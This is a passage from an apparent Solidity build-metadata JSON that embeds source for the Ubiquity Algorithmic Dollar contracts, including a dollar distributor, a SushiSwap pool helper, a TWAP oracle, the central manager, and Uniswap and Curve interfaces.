external returns (uint[] memory amounts);\\n function swapTokensForExactTokens(\\n uint amountOut,\\n uint amountInMax,\\n address[] calldata path,\\n address to,\\n uint deadline\\n ) external returns (uint[] memory amounts);\\n function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)\\n external\\n payable\\n returns (uint[] memory amounts);\\n function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\\n external\\n returns (uint[] memory amounts);\\n function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\\n external\\n returns (uint[] memory amounts);\\n function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)\\n external\\n payable\\n returns (uint[] memory amounts);\\n\\n function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\\n function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\\n function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\\n}\\n\",\"keccak256\":\"0x8a3c5c449d4b7cd76513ed6995f4b86e4a86f222c770f8442f5fc128ce29b4d2\"},\"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\":{\"content\":\"pragma solidity >=0.6.2;\\n\\nimport './IUniswapV2Router01.sol';\\n\\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\\n function removeLiquidityETHSupportingFeeOnTransferTokens(\\n address token,\\n uint liquidity,\\n uint amountTokenMin,\\n uint amountETHMin,\\n address to,\\n uint deadline\\n ) external returns (uint amountETH);\\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\\n address token,\\n uint liquidity,\\n uint amountTokenMin,\\n uint amountETHMin,\\n address to,\\n uint deadline,\\n bool approveMax, uint8 v, bytes32 r, bytes32 s\\n ) external returns (uint amountETH);\\n\\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\\n uint amountIn,\\n uint amountOutMin,\\n address[] calldata path,\\n address to,\\n uint deadline\\n ) external;\\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\\n uint amountOutMin,\\n address[] calldata path,\\n address to,\\n uint deadline\\n ) external payable;\\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\\n uint amountIn,\\n uint amountOutMin,\\n address[] calldata path,\\n address to,\\n uint deadline\\n ) external;\\n}\\n\",\"keccak256\":\"0x744e30c133bd0f7ca9e7163433cf6d72f45c6bb1508c2c9c02f1a6db796ae59d\"},\"contracts/ExcessDollarsDistributor.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\nimport \\\"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\\\";\\nimport \\\"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\\\";\\nimport \\\"./interfaces/IExcessDollarsDistributor.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./SushiSwapPool.sol\\\";\\nimport \\\"./libs/ABDKMathQuad.sol\\\";\\n\\n/// @title An excess dollar distributor which sends dollars to treasury,\\n/// lp rewards and inflation rewards\\ncontract ExcessDollarsDistributor is IExcessDollarsDistributor {\\n using SafeERC20 for IERC20Ubiquity;\\n using SafeERC20 for IERC20;\\n using ABDKMathQuad for uint256;\\n using ABDKMathQuad for bytes16;\\n UbiquityAlgorithmicDollarManager public manager;\\n uint256 private immutable _minAmountToDistribute = 100 ether;\\n IUniswapV2Router02 private immutable _router =\\n IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiV2Router02\\n\\n /// @param _manager the address of the manager contract so we can fetch variables\\n constructor(address _manager) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n }\\n\\n function distributeDollars() external override {\\n //the excess dollars which were sent to this contract by the coupon manager\\n uint256 excessDollars =\\n IERC20Ubiquity(manager.dollarTokenAddress()).balanceOf(\\n address(this)\\n );\\n if (excessDollars > _minAmountToDistribute) {\\n address treasuryAddress = manager.treasuryAddress();\\n\\n // curve uAD-3CRV liquidity pool\\n uint256 tenPercent =\\n excessDollars.fromUInt().div(uint256(10).fromUInt()).toUInt();\\n\\n IERC20Ubiquity(manager.dollarTokenAddress()).safeTransfer(\\n treasuryAddress,\\n tenPercent\\n );\\n // convert uAD to uGOV-UAD LP on sushi and burn them\\n _governanceBuyBackLPAndBurn(tenPercent);\\n // convert remaining uAD to curve LP tokens\\n // and transfer the curve LP tokens to the bonding contract\\n _convertToCurveLPAndTransfer(\\n excessDollars - tenPercent - tenPercent\\n );\\n }\\n }\\n\\n // swap half amount to uGOV\\n function _swapDollarsForGovernance(bytes16 amountIn)\\n internal\\n returns (uint256)\\n {\\n address[] memory path = new address[](2);\\n path[0] = manager.dollarTokenAddress();\\n path[1] = manager.governanceTokenAddress();\\n uint256[] memory amounts =\\n _router.swapExactTokensForTokens(\\n amountIn.toUInt(),\\n 0,\\n path,\\n address(this),\\n block.timestamp + 100\\n );\\n\\n return amounts[1];\\n }\\n\\n // buy-back and burn uGOV\\n function _governanceBuyBackLPAndBurn(uint256 amount) internal {\\n bytes16 amountUAD = (amount.fromUInt()).div(uint256(2).fromUInt());\\n\\n // we need to approve sushi router\\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\\n address(_router),\\n 0\\n );\\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\\n address(_router),\\n amount\\n );\\n uint256 amountUGOV = _swapDollarsForGovernance(amountUAD);\\n\\n IERC20Ubiquity(manager.governanceTokenAddress()).safeApprove(\\n address(_router),\\n 0\\n );\\n IERC20Ubiquity(manager.governanceTokenAddress()).safeApprove(\\n address(_router),\\n amountUGOV\\n );\\n\\n // deposit liquidity and transfer to zero address (burn)\\n _router.addLiquidity(\\n manager.dollarTokenAddress(),\\n manager.governanceTokenAddress(),\\n amountUAD.toUInt(),\\n amountUGOV,\\n 0,\\n 0,\\n address(0),\\n block.timestamp + 100\\n );\\n }\\n\\n // @dev convert to curve LP\\n // @param amount to convert to curve LP by swapping to 3CRV\\n // and deposit the 3CRV as liquidity to get uAD-3CRV LP tokens\\n // the LP token are sent to the bonding contract\\n function _convertToCurveLPAndTransfer(uint256 amount)\\n internal\\n returns (uint256)\\n {\\n // we need to approve metaPool\\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\\n manager.stableSwapMetaPoolAddress(),\\n 0\\n );\\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\\n manager.stableSwapMetaPoolAddress(),\\n amount\\n );\\n\\n // swap 3CRV=> x uAD\\n uint256 amount3CRVReceived =\\n IMetaPool(manager.stableSwapMetaPoolAddress()).exchange(\\n 0,\\n 1,\\n amount,\\n 0\\n );\\n\\n // approve metapool to transfer our 3CRV\\n IERC20(manager.curve3PoolTokenAddress()).safeApprove(\\n manager.stableSwapMetaPoolAddress(),\\n 0\\n );\\n IERC20(manager.curve3PoolTokenAddress()).safeApprove(\\n manager.stableSwapMetaPoolAddress(),\\n amount3CRVReceived\\n );\\n\\n // deposit liquidity\\n uint256 res =\\n IMetaPool(manager.stableSwapMetaPoolAddress()).add_liquidity(\\n [0, amount3CRVReceived],\\n 0,\\n manager.bondingContractAddress()\\n );\\n // update TWAP price\\n return res;\\n }\\n}\\n\",\"keccak256\":\"0xdfa2964c80efaea32e547c2b242be66445b7325daf812a5667dd69dc21e8bb9f\",\"license\":\"MIT\"},\"contracts/SushiSwapPool.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\\\";\\nimport \\\"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\n\\ncontract SushiSwapPool {\\n IUniswapV2Factory public factory =\\n IUniswapV2Factory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac);\\n\\n UbiquityAlgorithmicDollarManager public manager;\\n IUniswapV2Pair public pair;\\n\\n constructor(address _manager) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n require(\\n manager.dollarTokenAddress() != address(0),\\n \\\"Dollar address not set\\\"\\n );\\n require(\\n manager.governanceTokenAddress() != address(0),\\n \\\"uGOV Address not set\\\"\\n );\\n // check if pair already exist\\n address pool =\\n factory.getPair(\\n manager.dollarTokenAddress(),\\n manager.governanceTokenAddress()\\n );\\n if (pool == address(0)) {\\n pool = factory.createPair(\\n manager.dollarTokenAddress(),\\n manager.governanceTokenAddress()\\n );\\n }\\n pair = IUniswapV2Pair(pool);\\n }\\n}\\n\",\"keccak256\":\"0xa142923eb5975ae9adc5e48b8ef1529c379a07b06cd5e3c9374f8e95c270f25b\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IExcessDollarsDistributor.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\\\";\\n\\n/// @title A mechanism for distributing excess dollars to relevant places\\ninterface IExcessDollarsDistributor {\\n function distributeDollars() external;\\n}\\n\",\"keccak256\":\"0x9017fd1bdbe37469905c85a4e6d71a177881c5e56b411a22acc03802c0c89ed1\",\"license\":\"MIT\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address 